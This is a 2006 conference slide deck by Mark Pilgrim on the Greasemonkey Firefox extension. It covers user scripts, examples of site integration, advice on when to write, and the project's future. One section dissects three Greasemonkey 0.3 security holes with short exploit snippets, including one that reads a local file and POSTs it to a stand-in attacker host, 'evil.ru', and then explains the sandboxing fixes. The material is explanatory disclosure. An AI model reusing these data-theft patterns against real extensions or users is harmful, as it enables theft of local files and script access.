Greasemonkey
Teaching an old web new tricks
Mark Pilgrim
March 7, 2006
Greasemonkey Is User JavaScript
- Extension for Firefox 1.5+
- Lets you install individual “user scripts”
- Execute as a page loads
- Target all sites, one site, or a single page
- Full power of JavaScript + DOM
- 100s of user scripts available @ userscripts.org
End User Customization
- Fix broken websites
- ...or roll back broken redesigns
- Add missing features
- Add links to competitors
- Remove objectionable content
- Modify affiliate links
- Destroy business models (or not)
Google
Google + Butler
My Web != Your Web
- Install Google/del.icio.us integration script
- Wait two weeks
- Blog about Google's amazing new del.icio.us integration
- Hasty correction
- “Greasing yourself”
More Than JavaScript
GM_log- logs messages to JavaScript Console
GM_setValue, GM_getValue- store and retrieve local data (not cookies)
GM_registerMenuCommand- adds items to Firefox Tools menu
GM_openInTab- opens a new tab (not window)
GM_xmlhttpRequest- sends or retrieves data from any site, anywhere, at any time
More Than JavaScript
GM_log- logs messages to JavaScript Console
GM_setValue, GM_getValue- store and retrieve local data (not cookies)
GM_registerMenuCommand- adds items to Firefox Tools menu
GM_openInTab- opens a new tab (not window)
GM_xmlhttpRequest- sends or retrieves data from any site, anywhere, at any time
Site Integration
- Book Burro
- price comparison agent on Amazon, B&N, eBay
- Wikipedia Proxy
- adds WikiLinks to any page
- OmniFeedster
- displays incoming links on any page
- RIAA Radar
- “Passive activism” agent
Unofficial web services
- “My DOM is my passport, verify me.”
- Create what Ray Ozzie called “composite applications”
- Your web page is a contract
- DOM-scraping
- Fragile, brittle, inflexible... so what?
Detour
How to become an expert
How to write
- No shortage of advice
- “How to write a novel in 30 days”
- “How to write a resume”
- “How to write a better weblog”
What to write
- No shortage of advice
- “10 great blog post ideas!”
- “50 great short story plots!”
- “100 books waiting to be written!”
When to write
How to become an expert
- 1. Write code
- 2. Make mistakes
- 3. Get yelled at
- 4. Fix your code
- 5. Write about what you learned in step 4
Why aren’t there more experts?
- Most people give up before step 4
- The rest give up before step 5
Dive Into Python
Dive Into Python
Little-known facts:
- August 2000: introduced to Python
- September 2000: started Dive Into Python
- The first version was riddled with errors
- ...which people kindly (and not so kindly) pointed out
- ...and I promptly fixed
Dive Into Python, 3 years later
- September 2003: Apress
- It was much harder than I expected
- diveintopython.org was wildly popular
- Professional development
- Became an expert
- Lost the sense of wonder
Greasemonkey
Little-known fact:
- I'd never written a line of JavaScript until last year
- Then I found Greasemonkey
- It filled me with wonder
Dive Into Greasemonkey
- March 2005: first Greasemonkey script (Butler)
- April 2005: Dive Into Greasemonkey
- May 2005: Greasemonkey Hacks
- July 2005: discovered security hole
- ...and learned all about XPCNativeWrappers
Dive Into Greasemonkey, 1 year later
I may never write a line of JavaScript again
When to write
- Write when you’re filled with wonder
- If you wait until you’re an expert, it’s too late
- Write when you can’t not write
When to stop writing
- Just before you lose your sense of wonder
- “Quit while you’re ahead”
- Burnout is what happens to experts who don’t know when to quit
Greasemonkey Past
Anatomy of a security hole
Hole #1: source leakage
- Greasemonkey 0.3 injected
<script> elements into page
- Vulnerable to remote pages stealing script source
Source leakage exploit
_scripts = [];
_c = document.getElementsByTagName("script").length;
function trapInsertScript(event) {
var doc = event.currentTarget;
var arScripts = doc.getElementsByTagName("script");
if (arScripts.length > _numPreviousScripts) {
_scripts.push(arScripts[_c++].innerHTML);
}
}
document.addEventListener("DOMNodeInserted",
trapInsertScript, true);
Hole #2: API leakage
- Greasemonkey 0.3 added API functions to
window
- Vulnerable to remote pages stealing API access
API leakage exploit
_GM_xmlhttpRequest = null;
function trapGM(prop, oldVal, newVal) {
_GM_xmlhttpRequest = window.GM_xmlhttpRequest;
return newVal;
}
window.watch("GM_log", trapGM);
Hole #3: local file access
- In GM 0.3,
GM_xmlhttpRequest can access local files
- Which means remote pages can access local files
- ...and send them to Russia
Local file access exploit
_GM_xmlhttpRequest({
method: "GET",
url: "file:///c:/boot.ini",
onload: function(oResponseDetails) {
_GM_xmlhttpRequest({
method: "POST",
url: "http://evil.ru/",
data: oResponseDetails.responseText
});
}
});
Solution part 1: Sandboxing
- User scripts can’t execute in page context
- risk of remote page author screwing you
- Can’t execute in chrome context either
- risk of script developer screwing you
- Starting with GM 0.5, user scripts are executed in a sandbox
- Never inserted into page, so remote page can’t detect them
- APIs never put on
window, so remote page can’t steal them
Solution part 2: XPCNativeWrappers
- Introduced in Firefox 1.5
- “Deep wrapper” around real object
- Used for
window, document, all elements
- Remote page can’t redefine object methods
- Remote page can’t
watch object properties
- Methods also return XPCNativeWrappers
document.createElement
document.getElementsByTagName
- ...everything is a wrapper
XPCNativeWrappers
- All kinds of wacky limitations
- Many common JavaScript + DOM techniques don’t work
- ...but some of them sucked anyway
- Many scripts work in Firefox 1.0.x but fail in 1.5
- Like a “strict” flag for JavaScript+DOM
- Makes Greasemonkeying more difficult for newbies
Greasemonkey Future
End Users
- More of the same
- Blocking ads
- Fixing broken websites
- Scratching personal itches
Developers
Prototyping Firefox extensions
- Book Burro
- CustomizeGoogle
More for developers
- GM 0.6 adds new APIs for user scripts
GM_addStyle
GM_executeContentScript
- GM 0.7: Importable user script libraries?
Community features
userscripts.org contains 100s of user scripts
- Has tagging
- Has comments
- Needs maintainability
- Revision control
- Discoverability
- Auto-updating?
Accessibility
ZoomGoogle
Google results + ZoomGoogle
References